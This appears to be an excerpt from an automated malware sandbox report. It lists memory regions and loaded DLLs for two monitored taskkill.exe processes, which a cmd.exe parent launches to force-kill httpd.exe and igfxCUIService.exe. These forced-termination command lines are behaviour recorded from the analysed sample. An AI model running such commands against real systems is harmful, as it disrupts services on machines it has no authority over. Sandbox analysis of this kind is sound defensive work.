  • Region Actions
taskkill.exe.mui 0x000d0000 0x000d3fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000000e0000 0x000e0000 0x0011ffff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x00120000 0x00186fff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000000190000 0x00190000 0x00190fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000001a0000 0x001a0000 0x001a0fff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x001b0000 0x0026ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
pagefile_0x0000000000270000 0x00270000 0x00270fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000280000 0x00280000 0x00280fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000002b0000 0x002b0000 0x002effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000300000 0x00300000 0x0037ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000380000 0x00380000 0x003bffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x003d0000 0x003e5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x00000000003f0000 0x003f0000 0x00577fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000580000 0x00580000 0x005bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000005d0000 0x005d0000 0x006cffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000006d0000 0x006d0000 0x00850fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000860000 0x00860000 0x01c5ffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001c60000 0x01c60000 0x01c9ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001d10000 0x01d10000 0x01d4ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001db0000 0x01db0000 0x01deffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001df0000 0x01df0000 0x01eeffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x01ef0000 0x021befff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000021d0000 0x021d0000 0x0220ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002210000 0x02210000 0x0224ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002250000 0x02250000 0x0228ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002320000 0x02320000 0x0235ffff Private Memory Readable, Writable True False False
  • Region Actions
ntdsapi.dll 0x6a730000 0x6a747fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
fastprox.dll 0x6a750000 0x6a7e5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a7f0000 0x6a7fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a800000 0x6a828fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a830000 0x6a88bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a890000 0x6a899fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a8a0000 0x6a98afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a990000 0x6a99efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x6a9a0000 0x6a9a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a9b0000 0x6a9c0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a9d0000 0x6aa04fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x73e30000 0x73e3cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #21: taskkill.exe
+
Information Value
ID #21
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM httpd.exe /IM httpd.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:24, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:11
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x114
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 7DC
0x 3EC
0x 7E0
0x 57C
0x 640
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x0000000000050000 0x00050000 0x0008ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000090000 0x00090000 0x00093fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000000a0000 0x000a0000 0x000a0fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x000b0000 0x00116fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000120000 0x00120000 0x00121fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00130000 0x00133fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000140000 0x00140000 0x00140fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000150000 0x00150000 0x00150fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000160000 0x00160000 0x00160fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000170000 0x00170000 0x00170fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000190000 0x00190000 0x001cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000240000 0x00240000 0x002bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000330000 0x00330000 0x0042ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000480000 0x00480000 0x004bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000500000 0x00500000 0x0053ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000540000 0x00540000 0x0054ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000550000 0x00550000 0x006d7fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000006e0000 0x006e0000 0x00860fff Pagefile Backed Memory Readable True False False
  • Region Actions
kernelbase.dll.mui 0x00870000 0x0092ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000940000 0x00940000 0x0097ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000980000 0x00980000 0x009bffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x009f0000 0x00a05fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000a10000 0x00a10000 0x01e0ffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001e70000 0x01e70000 0x01eaffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001f00000 0x01f00000 0x01f3ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001f40000 0x01f40000 0x0203ffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x02040000 0x0230efff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002310000 0x02310000 0x0234ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002350000 0x02350000 0x0238ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000023b0000 0x023b0000 0x023effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002420000 0x02420000 0x0245ffff Private Memory Readable, Writable True False False
  • Region Actions
fastprox.dll 0x6a710000 0x6a7a5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a7b0000 0x6a89afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x6a8c0000 0x6a8d7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a8e0000 0x6a8eefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a8f0000 0x6a918fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a920000 0x6a97bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a980000 0x6a989fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a990000 0x6a9c4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a9d0000 0x6a9defff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a9e0000 0x6a9f0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x6aa00000 0x6aa0cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x73e30000 0x73e38fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #22: taskkill.exe
+
Information Value
ID #22
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM igfxCUIService.exe /IM igfxCUIService.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:25, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:10
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0x148
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 7C0
0x 814
0x 824
0x 828
0x 894
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00080000 0x00083fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x00090fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000a0000 0x000a0000 0x000a0fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000b0000 0x000b0000 0x000effff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x000f0000 0x00156fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x0000000000160000 0x00160000 0x00160fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000170000 0x00170000 0x00170fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000001d0000 0x001d0000 0x0020ffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x00210000 0x002cffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000320000 0x00320000 0x0039ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000003e0000 0x003e0000 0x0041ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000490000 0x00490000 0x004cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004e0000 0x004e0000 0x004effff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00560000 0x00575fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x0000000000580000 0x00580000 0x005bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000640000 0x00640000 0x0067ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000690000 0x00690000 0x0078ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000790000 0x00790000 0x00917fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000920000 0x00920000 0x00aa0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000ab0000 0x00ab0000 0x01eaffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001eb0000 0x01eb0000 0x01faffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002010000 0x02010000 0x0204ffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x02050000 0x0231efff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002340000 0x02340000 0x0237ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000023b0000 0x023b0000 0x023effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000023f0000 0x023f0000 0x0242ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002480000 0x02480000 0x024bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000024f0000 0x024f0000 0x0252ffff Private Memory Readable, Writable True False False
  • Region Actions
ntdsapi.dll 0x6a730000 0x6a747fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
fastprox.dll 0x6a750000 0x6a7e5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a7f0000 0x6a7fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a800000 0x6a828fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a830000 0x6a88bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a890000 0x6a899fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a8a0000 0x6a98afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a990000 0x6a99efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x6a9a0000 0x6a9a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a9b0000 0x6a9c0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a9d0000 0x6aa04fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x73e30000 0x73e3cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
